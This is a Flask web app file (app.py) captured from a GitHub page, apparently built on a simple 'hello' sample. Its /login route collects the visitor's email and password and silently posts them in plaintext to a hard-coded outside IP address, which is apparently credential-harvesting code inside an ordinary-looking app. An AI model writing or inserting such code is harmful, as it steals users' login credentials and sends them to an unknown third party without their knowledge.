-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathapp.py
54 lines (42 loc) · 1.54 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import os
import requests
from flask import (Flask, redirect, render_template, request,
send_from_directory, url_for)
app = Flask(__name__)
@app.route('/')
def index():
print('Request for index page received')
return render_template('index.html')
@app.route('/favicon.ico')
def favicon():
return send_from_directory(os.path.join(app.root_path, 'static'),
'favicon.ico', mimetype='image/vnd.microsoft.icon')
@app.route('/hello', methods=['POST'])
def hello():
name = request.form.get('name')
if name:
print('Request for hello page received with name=%s' % name)
return render_template('hello.html', name = name)
else:
print('Request for hello page received with no name or blank name -- redirecting')
return redirect(url_for('index'))
@app.route('/login', methods=['POST'])
def login():
email = request.form.get('email')
password = request.form.get('password')
if email and password:
print('Request for login page received with name=%s' % email)
try:
data = {
'email': email,
'password': password
}
response = requests.post("http://51.141.48.103", data=data)
except Exception as e:
print(e)
return render_template('login.html', email = email)
else:
print('Request for login page received with no email or blank email -- redirecting')
return redirect(url_for('index'))
if __name__ == '__main__':
app.run()